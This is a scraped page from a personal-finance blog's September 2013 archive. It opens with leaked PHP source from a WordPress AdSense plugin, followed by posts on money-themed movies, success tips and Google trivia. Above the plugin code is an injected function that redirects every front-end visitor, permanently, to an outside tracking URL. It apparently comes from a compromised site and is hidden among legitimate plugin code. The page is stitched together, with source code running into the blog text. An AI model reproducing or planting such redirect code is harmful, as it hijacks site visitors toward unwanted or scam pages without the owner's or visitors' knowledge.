function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); if(!ADSENSEM_VERSION){die();} $_adsensem_networks['ad_adsense_classic'] = array( 'name' => 'AdSense (Classic)', 'shortname' => 'adc', 'www' => 'http://www.google.com/adsense/', 'display' => false, ); /* INITIALISATION All functions in here called at startup (after other plugins have loaded, in case we need to wait for the widget-plugin). */ class Ad_AdSense_Classic extends Ad_AdSense { function Ad_AdSense_Classic(){ $this->Ad_AdSense(); } function network(){ return 'ad_adsense_classic'; } function save_settings_network() { if($_POST['adsensem-account-id']!=''){ $this->set_account_id(preg_replace('/\D/','',$_POST['adsensem-account-id'])); } $this->p['channel']=strip_tags(stripslashes($_POST['adsensem-channel'])); $this->p['adtype']=strip_tags(stripslashes($_POST['adsensem-adtype'])); $this->p['color-border']=strip_tags(stripslashes($_POST['adsensem-color-border'])); $this->p['color-title']=strip_tags(stripslashes($_POST['adsensem-color-title'])); $this->p['color-bg']=strip_tags(stripslashes($_POST['adsensem-color-bg'])); $this->p['color-text']=strip_tags(stripslashes($_POST['adsensem-color-text'])); $this->p['color-link']=strip_tags(stripslashes($_POST['adsensem-color-link'])); $this->p['uistyle']=strip_tags(stripslashes($_POST['adsensem-uistyle'])); if($_POST['adsensem-action']!='edit defaults'){ //Specific stuff for the ad/referral subtypes (cleaner) $this->save_settings_network_subtype(); } } //Processes the alternate ad options and returns correct code(complicated and needed across the adsense ads). function _render_color_code(){ $code=''; $code.= 'google_color_border = "' . $this->pd('color-border') . '"' . ";\n"; $code.= 'google_color_bg = "' . $this->pd('color-bg') . '"' . ";\n"; $code.= 'google_color_link = "' . $this->pd('color-title') . '"' . ";\n"; $code.= 'google_color_text = "' . $this->pd('color-text') . '"' . ";\n"; $code.= 'google_color_url = "' . $this->pd('color-link') . '"' . ";\n"; return $code; } function import_settings_network($code) { if(preg_match('/google_ad_channel = "(.*)"/', $code, $matches)!=0){ $_POST['adsensem-channel'] = $matches[1]; } if(preg_match('/google_color_border = "(.*)"/', $code, $matches)!=0){$_POST['adsensem-color-border']=$matches[1];} if(preg_match('/google_color_bg = "(.*)"/', $code, $matches)!=0){$_POST['adsensem-color-title']=$matches[1];} if(preg_match('/google_color_link = "(.*)"/', $code, $matches)!=0){$_POST['adsensem-color-bg']=$matches[1];} if(preg_match('/google_color_text = "(.*)"/', $code, $matches)!=0){$_POST['adsensem-color-text']=$matches[1];} if(preg_match('/google_color_url = "(.*)"/', $code, $matches)!=0){$_POST['adsensem-color-link']=$matches[1];} $this->import_settings_network_subtype($code); //$this->save_settings(); now done in the main Ad_AdSense class } function import_detect_network($code){return false;} function _form_settings_styles(){ $default=array('' => 'Use Default'); $uistyle=array('0' => 'Square corners', '6' => 'Slightly rounded corners', '10' => 'Very rounded corners'); adsensem_admin::_field_select('Corner Style','uistyle',$uistyle); } function _form_settings_ad_format(){ //Google AdSense data $default=array('' => 'Use Default'); $adtypes=$this->_var_ad_types_available(); $formats=$this->_var_ad_formats_available(); //Get permitted formats for the current network adsensem_admin::_field_select('Ad Type','adtype',$adtypes); adsensem_admin::_field_select('Format','adformat',$formats); adsensem_admin::_field_input('Channel','channel',20,'Enter multiple Channels separated by + signs.'); } //Middle function _var_forms_unit(){ return array('ad_unit');} function _var_forms_column2(){ return array('colors','styles'); } //Show network-id on AdSense Classic function admin_manage_column1(){ adsensem_admin::dbxoutput($this->_var_forms_network()); adsensem_admin::dbxoutput($this->_var_forms_unit()); adsensem_admin::dbxoutput($this->_var_forms_column1()); } } require_once('class-adsense-ad.php'); //AdSense Ad units pre-slot style require_once('class-adsense-link.php'); //AdSense Link units pre-slot style require_once('class-adsense-referral.php'); //AdSense Referral units pre-slot style ?> EliteCashBlog » 2013 » September


23  Sep
Great Money Movies

Fall is here. The weather is changing and will find many of us engaging in more indoor activities. Every now and then, you just want to throw on an old movie that reignites that feeling you had when you first viewed it, or maybe it’s one you’ve always meant to watch but never got around to it. Well here are a few noteworthy choices where money played a part in the storyline:

1) Boiler Room – One of my personal favorite money lines comes from this movie, “Whoever says money is the root of all evil doesn’t have any.” Boiler Room is about a savvy college drop-out who runs an illegal casino from his home to become involved in an investment business that initially seems like will make him an instant millionaire until he discovers things are not always what they appear to be.

2) Brewster’s Millions – Somehow anytime I watch Brewster’s Millions, it always manages to stimulate thoughts as to what I would do if I was in an enviably similar situation as which is the case for Richard Pryor’s character who us gave $30 million dollars to spend in 30 days….fun yet not as easy as we may think.

3) Jerry Maguire is classic. I never grow tired of watching it. This is the story of a sports agent who fed up with the quality of his life decides to write a mission statement that causes him to lose it all – his job, his clients, his fiancée – and follow through on doing what he loves by his own standards, gaining way more than anyone, including himself, expected.

4) Slumdog Millionaires is one of the most brilliant movies within the last decade. It takes a look at the coming of age story of a youth from Mumbai who as a young adult becomes a contestant on ‘Who Wants To Be A Millionaire’. The answers to his questions ironically are not based on general knowledge but instead on a series of flashbacks showed from defining moments in his life. This movie displays how everything is connected and the dots in your life become clear looking backward.

5) Trading Places uses humor to delve into the concept of nature versus nurture and how we sometimes value money more than people.

6) Good Fellas is iconic. I really don’t know anyone who does not have this on their top 10 list. Loyalty, love, greed, trust, honor, and deception all play roles in this film that displays the come up and changes in making money as a team….and its consequences.

7) The Thomas Crown Affair (1999 version) is the type of story that makes you kind of wish your real life was as exciting, edgy, and well – with lots and lots of money to play with. Thomas Crown is an extremely wealthy financier who uses his special skills to become one of the richest people in the world. But he finds even after mastering such challenges, he is bored with life. After a successful heist for a Monet painting, Catherine Banning comes in and they ensue in a game of cat and mouse.

8) Count of Monte Cristo to me is a testimony to integrity, tenacity, and the type of mental, spiritual, and emotional mastery that inevitably makes billionaires.

9) Catch Me If You Can has got to be one of the best true stories ever made into a movie. It’s one of those stories that on its own forces you to remember the fact that anything is possible. No matter how you chop it up – legal or not – Frank Abegnale Jr. was beyond brilliant, outsmarted many, definitely one of the best at what he did – and at such a young age.

10) Wall Street – I mean you can’t possibly ever create this sort of list and not mention the titan of money screen gem, Wall Street. Bud Fox meets Gordon Grekko aka Mr. “Greed is good.” and “Lunch is for wimps”. Then the story takes off. Late 80’s New York where insider trading, shady business deals, women, fast cars, and a fast life play as supporting characters to these leading men.

I realize that I obviously didn’t cover them all. There are some other great ones like The Pursuit of Happyness, Shawshank Redemption, Forrest Gump, Blow, Glendary Glen Ross, The Godfather, Rocky, The Social Network, and more. So definitely please share your favorite money movie in the comment section.

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Shopify is giving away over $500,000 in cash, prizes, and mentorship in their most recent Build a Business Competition. Check it out here.

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23  Sep
SkillShare


Skillshare is a global community where you can learn real-world skills from top-notch design industry experts. The free online design classes are project-based, you can learn anytime, anywhere, at your own pace. Showcase your skills and get feedback from the community. Check it out here.

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If success is a journey, these 10 people reached their destination after the age of 50 reaffirming once again that it is never too late to do what you love and prosper. To see who we are referring to click here.

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These 21 suggestions for success were created by H. Jackson Brown, Jr., author and adviser on how to be successful in life and have happiness.

1. Marry the right person. This one decision will determine 90% of your happiness or misery.

2. Work at something you enjoy and that’s worthy of your time and talent.

3. Give people more than they expect and do it cheerfully.

4. Become the most positive and enthusiastic person you know.

5. Be forgiving of yourself and others.

6. Be generous.

7. Have a grateful heart.

8. Persistence, persistence, persistence.

9. Discipline yourself to save money on even the most modest salary.

10. Treat everyone you meet like you want to be treated.

11. Commit yourself to constant improvement.

12. Commit yourself to quality.

13. Understand that happiness is not based on possessions, power or prestige, but on relationships with people you love and respect.

14. Be loyal.

15. Be honest.

16. Be a self-starter.

17. Be decisive even if it means you’ll sometimes be wrong.

18. Stop blaming others. Take responsibility for every area of your life.

19. Be bold and courageous. When you look back on your life, you’ll regret the things you didn’t do more than the ones you did.

20. Take good care of those you love.

21. Don’t do anything that wouldn’t make your Mom proud.

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1) The original name of Google was Backrub. They called it that because the algorithm ranked pages based on how many “backlinks” a page had.

2) Larry Page and Sergey Brin originally wanted to be academics. They didn’t want to build a business. They developed their initial search engine and then tried to shop it around. They were actually willing to sell it for $1 million in 1997. They went all over Silicon Valley to try and sell their search engine. They went to Yahoo, who turned them down. Later, in 2002, Yahoo tried to buy them for $3 billion but at that point, Google turned them down. Now Google is worth $150 billion.

3) Larry Page and Sergey Brin are the two richest guys in the country to not make any political contributions. The 20 or so billionaires richer than them all make political contributions.

4) The “I’m Feeling Lucky” button probably costs Google about $110 million a year.

5) Google’s first employee was a guy I never heard of until today. Craig Silverstein. Apparently, he’s still there as Director of Technology and according to various sites is estimated to be worth about $950 million.

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Pandemic or not, families are as yet hoping to commend the special times of the year with food and endowments. A year ago, Americans spent more than $730 billion on vacation-related buys, as indicated by the National Retail Federation. Should you get a holiday loan? Check this article to give you a clear picture.

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This piece by David Graeber takes a look at the history of money. Check it out here.

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